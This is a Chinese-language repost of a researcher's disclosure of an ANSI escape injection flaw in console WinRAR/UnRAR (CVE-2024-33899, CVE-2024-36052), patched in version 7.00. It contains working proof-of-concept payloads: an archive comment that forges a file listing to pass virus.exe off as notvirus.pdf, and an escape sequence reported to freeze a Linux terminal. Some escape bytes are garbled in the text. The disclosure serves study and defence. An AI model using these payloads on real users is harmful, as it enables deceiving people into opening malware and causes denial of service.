WinRAR 中的 ANSI 转义注入漏洞

admin 2024年5月24日22:03:49评论4 views字数 1784阅读5分56秒阅读模式
 

2024 年 2 月 28 日,RARLAB 发布了 WinRAR 的更新,修补了我在 RAR 和 UnRAR 的控制台版本中发现的 ANSI 转义序列注入漏洞,该漏洞影响了 6.24 及更早版本。此漏洞在 Linux 和 Unix 系统中被跟踪为 CVE-2024–33899,在 Windows 中被跟踪为 CVE-2024–36052,允许攻击者欺骗屏幕输出或导致拒绝服务(在 Linux 和 Unix 中)。此漏洞已在版本 7.00 中修补。请务必注意,无论版本如何,WinRAR 的 GUI 版本和 UnRAR 库均未受此漏洞影响。

在这篇文章中,我将引导你了解这个漏洞是如何工作的,并演示一个概念证明。虽然我将在 Linux 系统上展示这一点,但在 Windows 或 Unix 系统上也可以完成相同的操作。

如果您熟悉 Linux、Unix 或 Windows 命令行,那么您很可能遇到过 Vim 和 Neofetch 等程序。这些程序使用 ANSI 转义序列来修改文本和背景颜色、控制光标并在终端内创建 GUI。

WinRAR 中的 ANSI 转义注入漏洞

尽管ANSI转义序列可以用来创建花哨的终端程序,但它也可以被武器化,如Stok Fredrik的DEFCON演讲所示。

WinRAR 提供控制台 RAR 和 UnRAR,可用于创建和提取 RAR 存档。如下图所示,RAR 文件支持注释,在列出存档文件的内容时显示 unrar l demo.rar 注释

WinRAR 中的 ANSI 转义注入漏洞

为了检查是否在注释部分过滤掉了 ANSI 转义序列,我们可以使用一个简单的有效负载,它将以绿色显示 THIS IS GREEN 。

printf 'Hello �33[32mTHIS IS GREEN�33[0m�07' | rar c demo.rar

在执行时 rar l demo.rar ,我们能够看到它 THIS IS GREEN 以绿色输出。这表明注释字段不会筛选输出中的 ANSI 转义序列。

WinRAR 中的 ANSI 转义注入漏洞

此漏洞可以通过多种方式被利用,但适合 WinRAR 的漏洞将用作演示。

首先,我们将 virus.exe 文件放入一个 rar 文件中:

$ ls virus.exe$ rar a demo.rar virus.exe

接下来,我们将以下有效负载添加到评论部分:

printf 'Archive: demo.rarnDetails: RAR 5nnAttributes      Size       Date   Time   Namen----------- ---------  ---------- -----  ---------n-rw-r--r--          7  2024-05-19 16:26  notvirus.pdfn----------- ---------  ---------- -----  ---------n                    7                    1e[8m' | rar c demo.rar

此有效负载包括一个虚假列表,其中 virus.exe 替换为 notvirus.pdf.ANSI 转义序列 e[8m  用于隐藏输出中注释部分之后的所有内容。结果,实际的文件列表被隐藏,并显示我们的虚假文件列表。在下面的屏幕截图中,您可以看到输出和 shell 提示符之间有很大的差距。此间隙是由于原始文件列表被输出,但使用e[8m .虽然有经验的命令行用户可能会发现这很可疑,但经验不足的用户很容易被欺骗。

WinRAR 中的 ANSI 转义注入漏洞

如本文开头所述,有两个 CVE 与此漏洞相关联,因为与 Windows 相比,它在 Linux 和 Unix 系统上的严重性要高得多。这是因为在 Linux 和 Unix 系统上,某些 ANSI 转义序列可用于实现本地拒绝服务。

下面的有效载荷取自 Stok Fredrik 的 Black Hat 幻灯片,它捕获所有光标移动并将坐标输出到终端。这仅适用于 Linux 和 Unix 系统。在 Kali Linux VM 上测试时,光标坐标被输出到终端,VM 后来最终被冻结。

�33[?1001h�33[?1002h�33[?1003h�33[?1004h�33[?1005h�33[?1006h�33[?1007h�33[?1015h�33[?10016h

 

尽管对 ANSI 转义序列的研究有限,但很明显,对 ANSI 转义序列有深刻理解的攻击者可以以创造性、恶意甚至有时甚至令人讨厌的方式利用它们。

 

ANSI Escape Injection Vulnerability in WinRARhttps://sdushantha.medium.com/ansi-escape-injection-vulnerability-in-winrar-a2cbfac4b983

 

原文始发于微信公众号(Ots安全):WinRAR 中的 ANSI 转义注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月24日22:03:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WinRAR 中的 ANSI 转义注入漏洞http://cn-sec.com/archives/2774744.html

发表评论

匿名网友 填写信息